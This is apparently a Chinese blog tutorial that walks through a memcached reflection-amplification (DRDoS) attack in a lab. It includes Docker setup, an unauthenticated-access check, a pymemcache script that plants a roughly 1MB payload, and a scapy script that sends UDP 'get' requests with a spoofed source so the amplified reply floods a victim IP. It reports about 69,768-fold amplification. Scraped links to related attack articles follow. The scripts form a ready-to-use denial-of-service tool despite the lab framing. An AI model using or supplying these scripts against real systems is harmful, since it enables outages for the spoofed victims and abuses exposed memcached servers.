memcached DRDOS攻击实验
memcached DRDOS攻击实验
一、前提
关于drdos
DRDoS(Distributed Reflection Denial of Service) 指的是利用IP Spoofing技术,构造带有受害者IP的数据包,发送给肉鸡,然后肉鸡对受害者IP做出大量回应,造成拒绝服务。
关于memcached命令
第一个是上传有效载荷Memcached set 命令
Memcachedset 命令用于将 value(数据值) 存储在指定的 key(键) 中。
如果set的key已经存在,该命令可以更新该key所对应的原来的数据,也就是实现更新的作用
第二个反射有效载荷Memcached get 命令
Memcachedget 命令获取存储在 key(键) 中的 value(数据值) ,如果 key 不存在,则返回空。
关于攻击原理
TCP基于3次握手,如果源IP被伪造会停止通信,但是UDP因为面向无连接的,即使伪造IP也可以通信,服务器也无法验证源IP真实性,因此我们可以通过发送源地址为被攻击主机IP的数据包来将Memcached服务器返回的包发送给被攻击主机,从而达到反射攻击的目的。我们将使用TCP来上传我们的攻击载荷,使用UDP构造请求来发起攻击
关于攻击过程
drdos攻击的三个过程
1.攻击者,必须提前需要把攻击数据存放在所有的在线肉鸡或者反射服务器之上。
2.攻击者,必须伪造IP源头。发送海量伪造IP来源的请求。当然这里的IP就是受害者的IP地址。
3.反射服务器,必须可以反射数据,运行良好稳定。最好是请求数据少,返回数据成万倍增加。
二、实验环境
攻击机 kali,装有memcached的ubuntu肉鸡,受害机,这里是模拟,受害机ip可以随便写
Memcached drdos拓扑图

三、实验步骤
1.docker部署memcached
默认已经安装了docker,docker-compose,用docker起一个memcached环境,需要同时打开udp和tcp,-e表示配置memcached的环境变量,缓存大小设置为64M
docker run -d -p 11211:11211/tcp -p 11211:11211/udp -e MEMCACHED_MEMORY_LIMIT=64m -e MEMCACHED_TCP_PORT=11211 -e MEMCACHED_UDP_PORT=11211 --name memcache memcached:1.4.32

2.docker ps 查看容器状态

3.查看端口开放情况
netstat -anop | grep 11211 看到tcp和udp都有在监听连接,大抵是udp是面向无连接的,所以虽然没显示listen,但其实也在监听

4.测试无授权
memcached drdos攻击需要满足无授权,来测试一下是不是无授权
输入telnet 192.168.20.172 11211
然后输入stats,发现不用输入密码也能正常回显,无授权条件达成

5.编写set脚本
python安装pymemcache库
pip install pymemcache
然后编写脚本set大约1Mb数据到memcached,
创建并编辑drdos.py
from pymemcache.client.base import Client
import sys
client = Client(('192.168.20.172', 11211)) //装有memcached的ubuntu肉鸡ip
# set payload
key = 't'
data ='A'*1023*1023 + "B"
result = client.set('t', data)
if result:
print "[*] payload set done!"
else:
print "[!] payload set error!"

6.编写反射脚本
src为伪造的ip,这里为受害机,伪造是10.40.0.133发起的get t请求,memcached将会把数据反射给10.40.0.133
from scapy.all import *
from scapy import *
from scapy.layers.inet import IP, UDP
import sys
for i in range(int(sys.argv[1] )):
data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n"
package=IP(dst='192.168.20.155', src='10.40.0.133')/UDP(dport=11211,sport=2018)/data
send(package, count=1)
print "[*] send %d times " % int(i+1)

7.分别运行set和反射脚本
python drdos.py
python drdos1.py 1 (数字为想要请求几次,这里就请求一次)

8.查看set结果
在刚刚telnet连接的界面
输入get t,看看有没有set成功
看到数据总共1046530字节

9.查看流量
在受害机wireshark抓取流量,这里选择捕获虚拟机网卡的流量,根据实际情况选择

过滤udp.port == 11211,可以看到伪造的15字节的udp get请求,看到源目的ip,确实是反射给了受害机,因为是udp,会分成多个包


随意选择一个,追踪udp流,看到整个udp包

10.计算放大比
我们在kali伪造请求数据data = "\x00\x00\x00\x00\x00\x01\x00\x00get t\r\n" 总共15字节,但memcached却给受害机反射了1046530字节
1046530/15约等于69768倍,也就是放大了将近7万倍,这还只是我们在一个机子上发送的一次请求
memcached DRDOS攻击实验的更多相关文章
- 关于Memcached反射型DRDoS攻击分析
一.Memcached反射攻击原理 1.反射DRDoS攻击: DRDoS攻击时DoS攻击的一种,DoS是指通过发送或引发大量的资源消耗导致服务不可用的一种攻击方式,中文称之为拒绝服务攻击.DRDoS是 ...
- 审核Memcrashed Drdos攻击代码
0x00前言: 距离世界上最大的Drdos攻击已经过去了两个星期左右 昨天在交流的时候.群友在Github中找到了exploit. 0x01开始: #-- coding: utf8 -- #!/usr ...
- Mininet实验 基于Mininet实现BGP路径挟持攻击实验
参考:基于Mininet实现BGP路径挟持攻击实验 实验目的: 掌握如何mininet内模拟AS. 掌握BGP路径挟持的原理和分析过程. 实验原理: 互联网是由相互连接的自治系统AS组成的,通过一个通 ...
- CSAPP缓冲区溢出攻击实验(上)
CSAPP缓冲区溢出攻击实验(上) 下载实验工具.最新的讲义在这. 网上能找到的实验材料有些旧了,有的地方跟最新的handout对不上.只是没有关系,大体上仅仅是程序名(sendstring)或者參数 ...
- CSAPP缓冲区溢出攻击实验(下)
CSAPP缓冲区溢出攻击实验(下) 3.3 Level 2: 爆竹 实验要求 这一个Level的难度陡然提升,我们要让getbuf()返回到bang()而非test(),并且在执行bang()之前将g ...
- Ubuntu下缓冲器溢出攻击实验(可以看看问题分析)
缓冲器溢出攻击实验题目: 下边的代码摘自<黑客攻防技术宝典——系统实战篇(第 2 版)>2.5 节,攻击该代码,获得root 权限,实现相应的效果. strcpy(little_array ...
- ms08_067攻击实验
ms08_067攻击实验 ip地址 开启msfconsole 使用search ms08_067查看相关信息 使用 show payloads ,确定攻击载荷 选择playoad,并查看相关信息 设置 ...
- 20145305 《网络对抗》注入Shellcode并执行&Return-to-libc 攻击实验
注入Shellcode并执行 实践指导书 实践过程及结果截图 准备一段Shellcode 我这次实践和老师用的是同一个 设置环境 构造要注入的payload 我决定将返回地址改为0xffffd3a0 ...
- 20145330 《网络对抗》PC平台逆向破解:注入shellcode 和 Return-to-libc 攻击实验
20145330 <网络对抗>PC平台逆向破解:注入shellcode 实验步骤 1.用于获取shellcode的C语言代码 2.设置环境 Bof攻击防御技术 需要手动设置环境使注入的sh ...
- 20145315《网络对抗》——注入shellcode以及 Return-to-libc攻击实验
shellcode 准备一段Shellcode 我用的老师的shellcode:\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3 ...
随机推荐
- 平滑升级mariadb
问题 Centos7自带的MariaDB版本是5.5 ,版本过于老旧,现想升级到最新版本,且数据不丢失 措施 备份原来的数据 mysqldump -u root -p --all-databases ...
- 详细剖析Java动态线程池的扩容以及缩容操作
前言 在项目中,我们经常会使用到线程来处理加快我们的任务.但为了节约资源,大多数程序员都会把线程进行池化,使用线程池来更好的支持我们的业务. Java线程池ThreadPoolExecutor有几个比 ...
- C#中DevExpress的GridControl相关表格的属性总结
这里用到了Dev中的GridControl表格做数据查询展示,要求字号大一些,单行选中深色显示 // grid1 this.grid1.Dock = System.Windows.Forms.Dock ...
- Oracle用户的创建和授权
1 --创建用户.密码 2 create user infouser identified by "User@2022!"; 3 --授权连接数据库权限 4 grant conne ...
- 使用SOUI4的脚本模块
SOUI4.1提供了全新的lua脚本模块支持,使用这个新版本的脚本模块,可以轻松将所有UI布局及业务逻辑全部使用XML+LUA实现,基本上就是一个超轻型浏览器. SOUI4.0相对于SOUI3最大的区 ...
- EIP、VIP、RIP的区别
本文分享自天翼云开发者社区<EIP.VIP.RIP的区别>,作者:魏****猛 EIP.VIP.RIP都是网络中经常使用的术语,但是它们的意义和使用场景是不同的. 首先,EIP(Elast ...
- 使用VS2022打开解决方案后每个项目都显示“不兼容”
1.问题描述 今天本地使用VS2022打开之前新建的项目(.Net6框架),突然出现每个项目都显示"不兼容"的问题,导致每个项目的文件都看不到了,如下图所示: 2.解决办法 鼠标右 ...
- ABB机器人IRB1600齿轮箱维修故障四大原因
一.ABB机器人IRB1600齿轮箱齿轮磨损 齿轮磨损是IRB1600齿轮箱常见的故障.长时间的高速运转和负载作用会导致齿轮表面磨损,进而产生噪音和振动.维修时,需要对磨损的齿轮进行更换,同时检查相邻 ...
- linux报错-bash: ./xx.sh: Permission denied
linux报错-bash: ./xx.sh: Permission denied 在linux下执行sh文件时提示:-bash: ./xx.sh: Permission denied 进行授权:chm ...
- QT5笔记: 31. 文件目录操作
开发的时候,QtCreator F1 查看相关类的信息